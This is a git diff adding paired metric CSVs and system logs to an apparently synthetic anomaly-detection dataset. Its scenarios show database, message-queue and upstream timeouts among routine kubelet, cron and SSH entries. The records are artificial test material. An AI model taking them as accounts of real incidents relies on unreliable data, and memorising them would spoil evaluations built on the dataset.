02 10:03:46 api-gateway[21287]: ERROR: Could not proxy request to downstream service: connection timed out +Jul 02 10:03:53 app-server[13042]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:03:55 app-server[21930]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:59 app-server[22210]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:02 api-gateway[20796]: ERROR: Could not proxy request to downstream service: connection timed out +Jul 02 10:04:03 app-server[13043]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:06 api-gateway[10101]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:04:09 app-server[13663]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:12 app-server[11014]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:15 app-server[24429]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:16 app-server[18212]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:20 app-server[20824]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:22 api-gateway[23940]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:04:26 app-server[10858]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:27 app-server[22351]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:34 app-server[24080]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:36 api-gateway[24159]: ERROR: Could not proxy request to downstream service: connection timed out +Jul 02 10:04:39 app-server[16548]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:43 app-server[24463]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:46 app-server[24096]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:49 app-server[15732]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:52 app-server[10292]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:04:54 app-server[13412]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:04:59 app-server[23149]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:05:01 api-gateway[10447]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:02 api-gateway[21441]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:05 api-gateway[11567]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:09 api-gateway[18958]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:11 api-gateway[10664]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:13 api-gateway[23497]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:19 app-server[15845]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:05:22 app-server[14145]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:05:25 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:05:26 api-gateway[22335]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:29 api-gateway[14387]: ERROR: Could not proxy request to downstream service: connection timed out +Jul 02 10:05:36 api-gateway[12378]: ERROR: Could not proxy request to downstream service: connection timed out +Jul 02 10:05:39 api-gateway[16137]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:41 app-server[22970]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:05:42 api-gateway[12961]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:45 app-server[24730]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:05:49 app-server[24659]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:05:52 app-server[12671]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:05:55 api-gateway[15095]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:05:59 app-server[23442]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:06:04 kubelet[2345]: INFO: Successfully probed container health-check +Jul 02 10:06:07 sshd[20573]: Accepted password for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:06:09 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:06:11 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:06:20 systemd[1]: Started Session 32 of user root. +Jul 02 10:06:28 systemd[1]: Started Session 64 of user root. +Jul 02 10:06:35 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:06:39 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:41 kubelet[2345]: INFO: Successfully probed container health-check +Jul 02 10:06:49 systemd[1]: Started Session 31 of user root. +Jul 02 10:06:52 systemd[1]: Started Session 21 of user root. +Jul 02 10:06:54 systemd[1]: Started Session 27 of user root. +Jul 02 10:07:07 systemd[1]: Started Session 66 of user root. +Jul 02 10:07:22 systemd[1]: Started Session 17 of user root. diff --git a/anom_dataset/scenario_7/anom_7_7.csv b/anom_dataset/scenario_7/anom_7_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..c17c066cb947f6e0cd39392ad0037625fd1c73d6 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,23.41,38.89,27.29,1.12,1.65 +2025-07-02T11:00:05Z,24.43,39.02,29.35,1.16,1.81 +2025-07-02T11:00:10Z,24.98,37.98,27.59,1.02,1.36 +2025-07-02T11:00:15Z,15.14,40.62,25.27,1.3,1.52 +2025-07-02T11:00:20Z,16.5,43.58,20.88,1.06,1.94 +2025-07-02T11:00:25Z,15.71,41.31,21.32,0.99,1.39 +2025-07-02T11:00:30Z,22.0,35.59,21.05,1.14,1.43 +2025-07-02T11:00:35Z,16.93,45.07,26.45,1.4,1.06 +2025-07-02T11:00:40Z,16.68,43.15,26.57,1.17,1.91 +2025-07-02T11:00:45Z,21.25,37.78,22.27,1.3,1.24 +2025-07-02T11:00:50Z,21.84,36.55,26.25,1.23,1.32 +2025-07-02T11:00:55Z,18.66,45.41,20.58,1.0,1.33 +2025-07-02T11:01:00Z,17.04,42.06,20.63,1.49,1.71 +2025-07-02T11:01:05Z,24.9,44.11,23.71,0.98,1.81 +2025-07-02T11:01:10Z,22.53,41.64,25.73,1.16,1.98 +2025-07-02T11:01:15Z,20.65,39.44,22.52,1.41,1.3 +2025-07-02T11:01:20Z,19.93,44.76,22.21,1.05,1.07 +2025-07-02T11:01:25Z,16.08,42.73,25.86,1.07,1.65 +2025-07-02T11:01:30Z,15.66,39.78,20.84,1.42,1.73 +2025-07-02T11:01:35Z,23.73,40.42,26.83,1.29,1.26 +2025-07-02T11:01:40Z,22.64,39.38,26.29,0.89,1.78 +2025-07-02T11:01:45Z,21.24,38.93,21.85,1.28,1.57 +2025-07-02T11:01:50Z,17.98,45.77,25.73,0.8,2.0 +2025-07-02T11:01:55Z,24.56,37.74,25.12,1.13,1.75 +2025-07-02T11:02:00Z,19.71,36.5,24.7,0.97,1.64 +2025-07-02T11:02:05Z,22.98,42.16,28.06,0.83,1.83 +2025-07-02T11:02:10Z,23.58,43.02,27.0,1.02,1.71 +2025-07-02T11:02:15Z,19.19,40.37,27.86,0.94,1.65 +2025-07-02T11:02:20Z,23.34,36.87,23.45,1.42,1.94 +2025-07-02T11:02:25Z,23.91,39.66,20.38,1.14,1.76 +2025-07-02T11:02:30Z,34.16,45.75,25.31,0.75,0.66 +2025-07-02T11:02:35Z,26.82,44.97,22.52,0.37,0.42 +2025-07-02T11:02:40Z,34.61,45.95,22.55,0.7,0.21 +2025-07-02T11:02:45Z,26.65,48.03,23.88,0.24,0.75 +2025-07-02T11:02:50Z,39.09,45.11,22.27,0.27,0.36 +2025-07-02T11:02:55Z,32.12,46.95,24.23,0.64,0.34 +2025-07-02T11:03:00Z,32.03,49.57,28.08,0.62,0.29 +2025-07-02T11:03:05Z,29.87,48.46,21.8,0.17,0.34 +2025-07-02T11:03:10Z,38.53,47.18,23.94,0.51,0.31 +2025-07-02T11:03:15Z,35.71,51.45,23.46,0.29,0.26 +2025-07-02T11:03:20Z,29.09,51.11,25.66,0.28,0.22 +2025-07-02T11:03:25Z,28.93,48.64,24.04,0.46,0.77 +2025-07-02T11:03:30Z,28.08,52.72,27.64,0.15,0.32 +2025-07-02T11:03:35Z,33.2,52.14,29.02,0.46,0.29 +2025-07-02T11:03:40Z,37.36,50.41,23.64,0.55,0.94 +2025-07-02T11:03:45Z,24.48,54.15,25.5,0.18,0.93 +2025-07-02T11:03:50Z,22.6,51.44,23.56,0.34,0.22 +2025-07-02T11:03:55Z,23.99,52.27,28.42,0.24,0.98 +2025-07-02T11:04:00Z,22.33,53.97,27.94,0.61,0.5 +2025-07-02T11:04:05Z,21.36,55.02,21.18,0.63,0.63 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--git a/anom_dataset/scenario_7/anom_7_7.log b/anom_dataset/scenario_7/anom_7_7.log new file mode 100644 index 0000000000000000000000000000000000000000..361a961076524c09497b57ae33d8b390af968e80 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_7.log @@ -0,0 +1,31 @@ +Jul 02 11:00:00 server-main[1123]: INFO: User 3745 logged in successfully. +Jul 02 11:00:20 server-main[1123]: DEBUG: Cache hit for key: user:profile:2151 +Jul 02 11:00:40 server-main[1123]: INFO: Successfully processed batch job #3726 +Jul 02 11:01:00 server-main[1123]: POST /api/v1/orders HTTP/1.1 201 Created +Jul 02 11:01:20 server-main[1123]: GET /api/v1/users HTTP/1.1 200 OK +Jul 02 11:01:40 server-main[1123]: GET /api/v1/users HTTP/1.1 200 OK +Jul 02 11:02:00 server-main[1123]: POST /api/v1/orders HTTP/1.1 201 Created +Jul 02 11:02:20 server-main[1123]: INFO: User 3331 logged in successfully. +Jul 02 11:02:30 server-main[1123]: ERROR: Read timeout on socket for service user-database:1234 +Jul 02 11:02:45 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:02:55 server-main[1123]: GET /api/v1/users HTTP/1.1 200 OK +Jul 02 11:03:00 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:03:15 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:03:30 server-main[1123]: ERROR: Read timeout on socket for service user-database:1234 +Jul 02 11:03:45 server-main[1123]: WARN: Connection reset by peer for upstream service api-aggregator +Jul 02 11:04:00 server-main[1123]: ERROR: Failed to establish connection to redis-cache:6379 after 3 retries +Jul 02 11:04:05 server-main[1123]: WARN: Low disk space on /var/log. +Jul 02 11:04:15 server-main[1123]: ERROR: Connection timeout while connecting to downstream service payment-gateway +Jul 02 11:04:30 server-main[1123]: ERROR: Connection timeout while connecting to downstream service payment-gateway +Jul 02 11:04:40 server-main[1123]: INFO: User 9127 logged in successfully. +Jul 02 11:04:45 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:05:00 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:05:15 server-main[1123]: ERROR: Connection timeout while connecting to downstream service payment-gateway +Jul 02 11:05:30 server-main[1123]: ERROR: Read timeout on socket for service user-database:1234 +Jul 02 11:05:45 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:05:50 server-main[1123]: DEBUG: Cache hit for key: user:profile:8050 +Jul 02 11:06:00 server-main[1123]: CRITICAL: All connections to message queue rabbitmq are lost +Jul 02 11:06:20 server-main[1123]: WARN: Low disk space on /var/log. +Jul 02 11:06:40 server-main[1123]: INFO: User 4263 logged in successfully. +Jul 02 11:07:00 server-main[1123]: INFO: routine sync completed for pod web-app-6345 +Jul 02 11:07:20 server-main[1123]: INFO: Successfully processed batch job #3519 diff --git a/anom_dataset/scenario_7/anom_7_8.csv b/anom_dataset/scenario_7/anom_7_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..54ecda5925ee70b6e6100339311b05771200e6c1 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,23.41,47.05,29.34,2.45,1.69 +2025-07-02T11:00:05Z,18.89,40.87,21.15,2.41,1.09 +2025-07-02T11:00:10Z,22.29,41.08,19.26,2.05,1.71 +2025-07-02T11:00:15Z,19.59,46.88,30.55,2.17,1.8 +2025-07-02T11:00:20Z,21.46,45.86,23.27,1.71,1.58 +2025-07-02T11:00:25Z,23.56,43.83,27.58,1.53,1.94 +2025-07-02T11:00:30Z,24.43,46.52,23.95,2.31,1.72 +2025-07-02T11:00:35Z,18.97,40.66,21.56,1.67,1.92 +2025-07-02T11:00:40Z,24.35,43.88,21.77,1.79,1.72 +2025-07-02T11:00:45Z,20.12,40.84,22.57,2.22,1.88 +2025-07-02T11:00:50Z,23.06,48.91,23.8,2.18,1.64 +2025-07-02T11:00:55Z,24.98,47.26,24.59,2.17,1.12 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100644 index 0000000000000000000000000000000000000000..10663b49b21705c3edc2de438a4aa264d3f24f00 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_8.log @@ -0,0 +1,41 @@ +Jul 02 11:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app +Jul 02 11:00:25 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app +Jul 02 11:00:30 app[5432]: INFO Processing request for /user/profile +Jul 02 11:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app +Jul 02 11:00:50 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:00:55 app[5432]: INFO Processing request for /user/profile +Jul 02 11:01:00 systemd[1]: Started Session 14 of user root. +Jul 02 11:01:05 sshd[12747]: Accepted publickey for user from 192.168.8.157 port 48659 ssh2 +Jul 02 11:01:15 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:02:00 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:02:15 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:02:20 systemd[1]: Started Session 68 of user root. +Jul 02 11:02:25 app[5432]: INFO Processing request for /user/profile +Jul 02 11:02:30 app-worker[8872]: WARN Connection timeout while connecting to upstream service 'user-database' +Jul 02 11:02:40 app-worker[8871]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure +Jul 02 11:02:55 app-worker[8874]: ERROR Connection reset by peer while reading from upstream +Jul 02 11:04:10 haproxy[2011]: 192.168.1.10:1234 [2025-07-02T11:04:10Z] fe_main be_api/api-server1 0/0/0/0/5000 503 212 - - --NI 1/1/0/0/0 0/0 "GET /api/data HTTP/1.1" +Jul 02 11:04:15 app[5432]: INFO Processing request for /user/profile +Jul 02 11:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app +Jul 02 11:04:30 app-worker[8871]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure +Jul 02 11:04:35 app-worker[8875]: WARN Retrying request to payment-service after timeout +Jul 02 11:04:50 app-worker[8874]: ERROR Connection reset by peer while reading from upstream +Jul 02 11:04:55 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 11:05:10 app[5432]: INFO Processing request for /user/profile +Jul 02 11:05:15 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:05:25 app[5432]: INFO Database query completed in 25ms +Jul 02 11:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app +Jul 02 11:05:40 app[5432]: INFO Processing request for /user/profile +Jul 02 11:05:45 app[5432]: INFO Processing request for /user/profile +Jul 02 11:05:55 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:06:10 app[5432]: INFO Processing request for /user/profile +Jul 02 11:06:15 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:06:25 sshd[14650]: Accepted publickey for user from 192.168.9.157 port 47416 ssh2 +Jul 02 11:06:30 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:06:35 app[5432]: INFO Processing request for /user/profile +Jul 02 11:06:40 app[5432]: INFO Database query completed in 25ms +Jul 02 11:06:50 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 11:07:00 app[5432]: INFO Database query completed in 25ms +Jul 02 11:07:05 systemd[1]: Started Session 39 of user root. +Jul 02 11:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app +Jul 02 11:07:25 kubelet[2345]: INFO Liveness probe succeeded for pod frontend-app diff --git a/anom_dataset/scenario_7/anom_7_9.csv b/anom_dataset/scenario_7/anom_7_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..2420873bd79d7be7d55c4d7603eaa7b415c1c0a5 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,17.98,41.31,26.94,0.95,1.59 +2025-08-23T10:00:05Z,13.17,41.53,24.43,1.07,1.56 +2025-08-23T10:00:10Z,14.13,38.55,21.24,0.94,1.77 +2025-08-23T10:00:15Z,16.98,41.65,25.11,1.35,1.77 +2025-08-23T10:00:20Z,15.9,41.59,23.08,1.16,1.67 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+2025-08-23T10:07:05Z,15.76,58.6,27.03,1.37,1.47 +2025-08-23T10:07:10Z,12.73,55.79,24.09,1.28,1.49 +2025-08-23T10:07:15Z,12.23,54.08,20.18,1.45,1.76 +2025-08-23T10:07:20Z,15.86,57.64,25.58,1.31,1.65 +2025-08-23T10:07:25Z,17.74,56.19,20.46,1.15,1.71 diff --git a/anom_dataset/scenario_7/anom_7_9.log b/anom_dataset/scenario_7/anom_7_9.log new file mode 100644 index 0000000000000000000000000000000000000000..95c97b286c3a72deb5bdf0931f12629ba62299df --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_9.log @@ -0,0 +1,64 @@ +Aug 23 10:00:00 web-app[1123]: INFO: Background job: daily_report completed in 1.52s +Aug 23 10:00:15 web-app[1123]: INFO: Starting background job: daily_report +Aug 23 10:00:30 web-app[1123]: INFO: Successfully processed request ID: xyz-1030 +Aug 23 10:00:45 web-app[1123]: GET /api/v1/users HTTP/1.1 200 +Aug 23 10:01:00 web-app[1123]: GET /api/v1/users HTTP/1.1 200 +Aug 23 10:01:15 web-app[1123]: INFO: Successfully processed request ID: xyz-1039 +Aug 23 10:01:30 web-app[1123]: POST /api/v1/orders HTTP/1.1 201 +Aug 23 10:01:45 web-app[1123]: INFO: Starting background job: daily_report +Aug 23 10:02:00 web-app[1123]: INFO: Successfully processed request ID: xyz-1048 +Aug 23 10:02:15 web-app[1123]: INFO: Successfully processed request ID: xyz-1051 +Aug 23 10:02:30 web-app[1123]: INFO: Successfully processed request ID: xyz-1054 +Aug 23 10:02:35 web-app[1123]: ERROR: Connection reset by peer for request xyz-2079 +Aug 23 10:02:45 web-app[1123]: ERROR: Failed to fetch data from remote host: service-auth +Aug 23 10:02:45 web-app[1123]: POST /api/v1/orders HTTP/1.1 201 +Aug 23 10:02:55 web-app[1123]: ERROR: Connection timeout while connecting to service-db:5432 +Aug 23 10:03:00 web-app[1123]: ERROR: Connection reset by peer for request xyz-2084 +Aug 23 10:03:00 web-app[1123]: GET /api/v1/users HTTP/1.1 200 +Aug 23 10:03:05 web-app[1123]: ERROR: Connection timeout while connecting to service-db:5432 +Aug 23 10:03:10 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:03:15 web-app[1123]: DEBUG: Cache hit for key: cache-key-239 +Aug 23 10:03:15 web-app[1123]: ERROR: Connection reset by peer for request xyz-2087 +Aug 23 10:03:20 web-app[1123]: ERROR: Connection reset by peer for request xyz-2088 +Aug 23 10:03:30 web-app[1123]: DEBUG: Cache hit for key: cache-key-242 +Aug 23 10:03:30 web-app[1123]: ERROR: Connection timeout while connecting to service-db:5432 +Aug 23 10:03:35 web-app[1123]: ERROR: Connection reset by peer for request xyz-2091 +Aug 23 10:03:40 web-app[1123]: ERROR: Connection reset by peer for request xyz-2092 +Aug 23 10:03:45 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:03:45 web-app[1123]: INFO: Successfully processed request ID: xyz-1069 +Aug 23 10:03:50 web-app[1123]: ERROR: Failed to fetch data from remote host: service-auth +Aug 23 10:03:55 web-app[1123]: ERROR: Connection reset by peer for request xyz-2095 +Aug 23 10:04:00 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:04:00 web-app[1123]: INFO: User 103 logged in successfully +Aug 23 10:04:05 web-app[1123]: ERROR: Connection timeout while connecting to service-db:5432 +Aug 23 10:04:10 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:04:15 web-app[1123]: ERROR: Connection reset by peer for request xyz-2099 +Aug 23 10:04:15 web-app[1123]: INFO: Background job: daily_report completed in 1.95s +Aug 23 10:04:20 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:04:30 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:04:30 web-app[1123]: INFO: Successfully processed request ID: xyz-1078 +Aug 23 10:04:35 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:04:40 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:04:45 web-app[1123]: ERROR: Connection timeout while connecting to service-db:5432 +Aug 23 10:04:45 web-app[1123]: POST /api/v1/orders HTTP/1.1 201 +Aug 23 10:04:50 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:04:55 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:05:00 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:05:00 web-app[1123]: DEBUG: Cache hit for key: cache-key-260 +Aug 23 10:05:10 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:05:15 web-app[1123]: ERROR: Connection reset by peer for request xyz-2111 +Aug 23 10:05:15 web-app[1123]: INFO: User 103 logged in successfully +Aug 23 10:05:20 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:05:25 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:05:30 web-app[1123]: CRITICAL: Upstream service service-billing is unavailable: Connection timeout +Aug 23 10:05:30 web-app[1123]: INFO: User 101 logged in successfully +Aug 23 10:05:35 web-app[1123]: ERROR: Connection reset by peer for request xyz-2115 +Aug 23 10:05:40 web-app[1123]: ERROR: Connection reset by peer for request xyz-2116 +Aug 23 10:05:45 web-app[1123]: INFO: Successfully processed request ID: xyz-1093 +Aug 23 10:05:45 web-app[1123]: WARN: Read timeout while waiting for response from upstream-api +Aug 23 10:06:00 web-app[1123]: INFO: Background job: daily_report completed in 1.77s +Aug 23 10:06:15 web-app[1123]: DEBUG: Cache hit for key: cache-key-275 +Aug 23 10:06:30 web-app[1123]: POST /api/v1/orders HTTP/1.1 201 +Aug 23 10:06:45 web-app[1123]: INFO: Successfully processed request ID: xyz-1105 +Aug 23 10:07:00 web-app[1123]: INFO: Starting background job: daily_report +Aug 23 10:07:15 web-app[1123]: GET /api/v1/users HTTP/1.1 200 diff --git a/anom_dataset/scenario_8/anom_8_1.csv b/anom_dataset/scenario_8/anom_8_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..165bb8734bbf66c2e959e1b853479d87e025b12c --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,12.77,38.63,26.63,0.88,2.07 +2025-07-15T14:00:05Z,13.51,37.95,21.44,1.28,1.57 +2025-07-15T14:00:10Z,14.45,39.58,24.61,1.12,1.46 +2025-07-15T14:00:15Z,12.23,39.76,21.8,1.11,1.7 +2025-07-15T14:00:20Z,16.67,39.96,28.29,1.12,1.85 +2025-07-15T14:00:25Z,14.76,38.68,28.02,0.75,1.74 +2025-07-15T14:00:30Z,14.73,40.22,30.76,0.78,1.68 +2025-07-15T14:00:35Z,13.44,40.1,26.43,1.07,1.34 +2025-07-15T14:00:40Z,17.33,41.56,21.71,0.87,1.6 +2025-07-15T14:00:45Z,17.78,41.89,27.35,1.16,1.61 +2025-07-15T14:00:50Z,11.51,40.58,24.2,1.21,1.93 +2025-07-15T14:00:55Z,14.34,42.74,28.33,1.08,1.7 +2025-07-15T14:01:00Z,19.77,43.1,28.14,0.89,1.32 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a/anom_dataset/scenario_8/anom_8_1.log b/anom_dataset/scenario_8/anom_8_1.log new file mode 100644 index 0000000000000000000000000000000000000000..24f5224ffb71e1d5fb4929af83de2053ae3618fb --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_1.log @@ -0,0 +1,52 @@ +Jul 15 14:00:00 cron[4312]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:00:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:00:10 systemd[1]: Started Session 102 of user ubuntu. +Jul 15 14:01:00 systemd[1]: Started Session 112 of user ubuntu. +Jul 15 14:01:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:01:15 cron[4312]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:01:50 systemd[1]: Started Session 122 of user ubuntu. +Jul 15 14:02:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:02:30 cron[4312]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:40 systemd[1]: Started Session 132 of user ubuntu. +Jul 15 14:03:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:03:30 systemd[1]: Started Session 142 of user ubuntu. +Jul 15 14:03:45 cron[4312]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:04:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:04:20 systemd[1]: Started Session 152 of user ubuntu. +Jul 15 14:05:00 cron[4312]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:05:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:05:05 web-app[1123]: WARN High latency detected: response time 4667ms for /api/v1/data +Jul 15 14:05:10 systemd[1]: Started Session 162 of user ubuntu. +Jul 15 14:05:10 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:05:15 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:05:20 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:05:25 web-app[1123]: WARN High latency detected: response time 2039ms for /api/v1/data +Jul 15 14:05:30 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:05:35 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:05:40 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:05:45 web-app[1123]: WARN High latency detected: response time 2579ms for /api/v1/data +Jul 15 14:05:50 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:05:55 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:06:00 systemd[1]: Started Session 172 of user ubuntu. +Jul 15 14:06:00 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:06:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:06:05 web-app[1123]: WARN High latency detected: response time 2660ms for /api/v1/data +Jul 15 14:06:10 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:06:15 cron[4312]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:06:15 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:06:20 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:06:25 web-app[1123]: WARN High latency detected: response time 2863ms for /api/v1/data +Jul 15 14:06:30 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:06:35 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:06:40 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:06:45 web-app[1123]: WARN High latency detected: response time 4510ms for /api/v1/data +Jul 15 14:06:50 systemd[1]: Started Session 182 of user ubuntu. +Jul 15 14:06:50 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:06:55 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:07:00 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:07:05 web-app[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 14:07:05 web-app[1123]: WARN High latency detected: response time 3086ms for /api/v1/data +Jul 15 14:07:10 haproxy[897]: Timeout during data transfer for client 10.1.2.3, session state L7OK +Jul 15 14:07:15 web-app[1123]: ERROR Failed to send data chunk to client: socket write error +Jul 15 14:07:20 web-app[1123]: ERROR Connection to downstream service timed out after 10000ms +Jul 15 14:07:25 web-app[1123]: WARN High latency detected: response time 3325ms for /api/v1/data diff --git a/anom_dataset/scenario_8/anom_8_10.csv b/anom_dataset/scenario_8/anom_8_10.csv new file mode 100644 index 